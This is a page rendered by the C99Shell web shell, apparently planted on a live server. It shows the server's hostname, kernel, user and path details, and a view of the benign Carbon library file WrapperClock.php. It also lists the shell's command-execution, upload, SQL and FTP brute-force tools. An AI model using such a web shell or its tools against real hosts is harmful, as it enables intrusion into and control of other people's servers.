!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/nesbot/carbon/src/Carbon/   drwxr-xr-x
Free 28.7 GB of 117.98 GB (24.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WrapperClock.php (5.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/**
 * This file is part of the Carbon package.
 *
 * (c) Brian Nesbitt <brian@nesbot.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Carbon;

use 
DateTime;
use 
DateTimeImmutable;
use 
DateTimeInterface;
use 
DateTimeZone;
use 
Psr\Clock\ClockInterface as PsrClockInterface;
use 
RuntimeException;
use 
Symfony\Component\Clock\ClockInterface;

final class 
WrapperClock implements ClockInterface
{
    public function 
__construct(
        private 
PsrClockInterface|Factory|DateTimeInterface $currentClock,
    ) {
    }

    public function 
unwrap(): PsrClockInterface|Factory|DateTimeInterface
    
{
        return 
$this->currentClock;
    }

    public function 
getFactory(): Factory
    
{
        if (
$this->currentClock instanceof Factory) {
            return 
$this->currentClock;
        }

        if (
$this->currentClock instanceof DateTime) {
            
$factory = new Factory();
            
$factory->setTestNowAndTimezone($this->currentClock);

            return 
$factory;
        }

        if (
$this->currentClock instanceof DateTimeImmutable) {
            
$factory = new FactoryImmutable();
            
$factory->setTestNowAndTimezone($this->currentClock);

            return 
$factory;
        }

        
$factory = new FactoryImmutable();
        
$factory->setTestNowAndTimezone(fn () => $this->currentClock->now());

        return 
$factory;
    }

    private function 
nowRaw(): DateTimeInterface
    
{
        if (
$this->currentClock instanceof DateTimeInterface) {
            return 
$this->currentClock;
        }

        if (
$this->currentClock instanceof Factory) {
            return 
$this->currentClock->__call('now', []);
        }

        return 
$this->currentClock->now();
    }

    public function 
now(): DateTimeImmutable
    
{
        
$now $this->nowRaw();

        return 
$now instanceof DateTimeImmutable
            
$now
            
: new CarbonImmutable($now);
    }

    
/**
     * @template T of CarbonInterface
     *
     * @param class-string<T> $class
     *
     * @return T
     */
    
public function nowAs(string $classDateTimeZone|string|int|null $timezone null): CarbonInterface
    
{
        
$now $this->nowRaw();
        
$date $now instanceof $class $now $class::instance($now);

        return 
$timezone === null $date $date->setTimezone($timezone);
    }

    public function 
nowAsCarbon(DateTimeZone|string|int|null $timezone null): CarbonInterface
    
{
        
$now $this->nowRaw();

        return 
$now instanceof CarbonInterface
            
? ($timezone === null $now $now->setTimezone($timezone))
            : 
$this->dateAsCarbon($now$timezone);
    }

    private function 
dateAsCarbon(DateTimeInterface $dateDateTimeZone|string|int|null $timezone): CarbonInterface
    
{
        return 
$date instanceof DateTimeImmutable
            
? new CarbonImmutable($date$timezone)
            : new 
Carbon($date$timezone);
    }

    public function 
sleep(float|int $seconds): void
    
{
        if (
$seconds === || $seconds === 0.0) {
            return;
        }

        if (
$seconds 0) {
            throw new 
RuntimeException('Expected positive number of seconds, '.$seconds.' given');
        }

        if (
$this->currentClock instanceof DateTimeInterface) {
            
$this->currentClock $this->addSeconds($this->currentClock$seconds);

            return;
        }

        if (
$this->currentClock instanceof ClockInterface) {
            
$this->currentClock->sleep($seconds);

            return;
        }

        
$this->currentClock $this->addSeconds($this->currentClock->now(), $seconds);
    }

    public function 
withTimeZone(DateTimeZone|string $timezone): static
    {
        if (
$this->currentClock instanceof ClockInterface) {
            return new 
self($this->currentClock->withTimeZone($timezone));
        }

        
$now $this->currentClock instanceof DateTimeInterface
            
$this->currentClock
            
$this->currentClock->now();

        if (!(
$now instanceof DateTimeImmutable)) {
            
$now = clone $now;
        }

        if (
\is_string($timezone)) {
            
$timezone = new DateTimeZone($timezone);
        }

        return new 
self($now->setTimezone($timezone));
    }

    private function 
addSeconds(DateTimeInterface $datefloat|int $seconds): DateTimeInterface
    
{
        
$secondsPerHour CarbonInterface::SECONDS_PER_MINUTE CarbonInterface::MINUTES_PER_HOUR;
        
$hours number_format(
            
floor($seconds $secondsPerHour),
            
thousands_separator'',
        );
        
$microseconds number_format(
            (
$seconds $hours $secondsPerHour) * CarbonInterface::MICROSECONDS_PER_SECOND,
            
thousands_separator'',
        );

        if (!(
$date instanceof DateTimeImmutable)) {
            
$date = clone $date;
        }

        if (
$hours !== '0') {
            
$date $date->modify("$hours hours");
        }

        if (
$microseconds !== '0') {
            
$date $date->modify("$microseconds microseconds");
        }

        return 
$date;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--